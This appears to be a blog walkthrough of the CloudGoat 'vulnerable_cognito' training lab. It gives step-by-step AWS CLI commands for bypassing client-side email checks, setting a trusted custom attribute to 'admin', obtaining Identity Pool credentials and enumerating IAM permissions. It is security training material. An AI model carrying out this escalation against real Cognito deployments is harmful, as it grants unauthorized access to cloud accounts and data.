In this post, I’ll cover how the vulnerable Cognito service can be exploited to escalate privileges and obtain temporary AWS credentials.
Privilege Escalation via Vulnerable Cognito
Introduction
AWS Cognito is commonly used to handle user authentication and identity federation in cloud applications. However, when misconfigured, it becomes a gateway for privilege escalation, especially when:
- Frontend validations are trusted too much
- Custom attributes are used to control access
- Identity Pools are mapped to roles based on unvalidated claims
This scenario demonstrates how misconfigured Amazon Cognito setups can be exploited to gain unauthorized access to AWS resources. You’ll simulate an attacker exploiting weak client-side validations and improperly scoped custom attributes to escalate privileges and extract AWS credentials via Cognito Identity Pools.
What are we going to cover?
Understand the role of Cognito User Pools and Identity Pools. Bypass client side restrictions to complete user registration.
- Manipulate custom user attributes to elevate privileges.
- Use session tokens to obtain AWS credentials via Identity Pools.
- Enumerate permissions and simulate privilege escalation.
These are few assumptions to be made & define a goal for this demo
The attacker has access to the signup/login portal. The Cognito User Pool Client ID is exposed in the frontend. Email verification is enforced via client-side code only. The Identity Pool grants AWS credentials based on user attributes.
The goal is to obtain Cognito Identity Pool credentials.
Steps to setup lab
Run the below command to spin up the environment.
./cloudgoat.py create vulnerable_cognito
OR
cloudgoat create vulnerable_cognito

Lab Goal
Obtain temporary AWS credentials by manipulating Cognito’s misconfigured custom attributes and using the Identity Pool.
1. Initial Set-Up
After launching the scenario:
-
Note the API Gateway URL provided. This URL hosts a login/signup portal using Cognito for authentication.
https://q1q0hukpt1.execute-api.us-east-1.amazonaws.com/vulncognito/cognitoctf-cgidq4giu3oq6o/index.html

2. Attempt to sign up
You’ll likely receive a “Email not verified” error or be blocked due to client-side checks.
aws cognito-idp sign-up \
--client-id [ClientID] \
--region us-east-1 \
--username attacker@example.com \ # Use valid email
--password Example123! \
--user-attributes '[{"Name":"given_name","Value":"John"},{"Name":"family_name","Value":"Doe"}]'

Open the browser developer tools or page source to extract the ClientId.

3. Bypass Email Validation Using CLI
Use the AWS CLI to manually sign up the user, bypassing any frontend restrictions.
aws cognito-idp confirm-sign-up \
--client-id [ClientID] \
--region us-east-1 \
--username attacker@example.com \
--confirmation-code [ConfirmationCode]

The --user-attributes flag allows injecting default attributes like name or custom fields (if configured).
4. Confirm the user manually
Check your terminal or use a test value if email verification is mocked. Then confirm the user:
Log in and extract access token, Now log in and capture the AccessToken
aws cognito-idp initiate-auth \
--auth-flow USER_PASSWORD_AUTH \
--region us-east-1 \
--client-id [ClientID] \
--auth-parameters USERNAME=attacker@example.com,PASSWORD=Example123!

Check you’re browser and try logging in again.

Now, let’s fetch the user role and attributes.
aws cognito-idp get-user --region us-east-1 --access-token eyJr..

- Let’s update the custom user attributes, update a custom attribute (custom:access) that the backend trusts for privilege.
aws cognito-idp update-user-attributes \
--access-token [AccessToken] \
--region us-east-1 \
--user-attributes '[{"Name":"custom:access","Value":"admin"}]'

This escalates your role in the system if the Identity Pool maps roles based on this attribute.

5. Extract the id_token
aws cognito-idp initiate-auth \
--auth-flow USER_PASSWORD_AUTH \
--client-id <ClientID> \
--region us-east-1 \
--auth-parameters USERNAME=<Username>,PASSWORD=<Password> \
--query 'AuthenticationResult.IdToken' \
--output text

Use JWT token to get AWS Identity ID
aws cognito-identity get-id \
--region us-east-1 \
--identity-pool-id [IdentityPoolId] \
--logins "cognito-idp.us-east-1.amazonaws.com/[UserPoolId]=[IdToken]"

6. Get AWS Credentials
aws cognito-identity get-credentials-for-identity \
--region us-east-1 \
--identity-id [Id] \
--logins "cognito-idp.us-east-1.amazonaws.com/[UserPoolId]=[IdToken]"

OR, if capture the request via burpsuite you can see that the response has the AWS credentials. Which can be used for post exploitation.

7. Final Privileges Check
aws sts get-caller-identity --profile attacker
This gives the identity of the profile.
aws iam list-users --profile attacker
Run this
./enumerate-iam.py --access-key ASIA... --secret-key asdas.. --session-token IQoJ.. --region us-east-1

Exploitation Path

Conclusion
The attacker escalates from an unauthenticated user to obtaining temporary AWS credentials with elevated privileges, which can then be used to access or manipulate other AWS resources.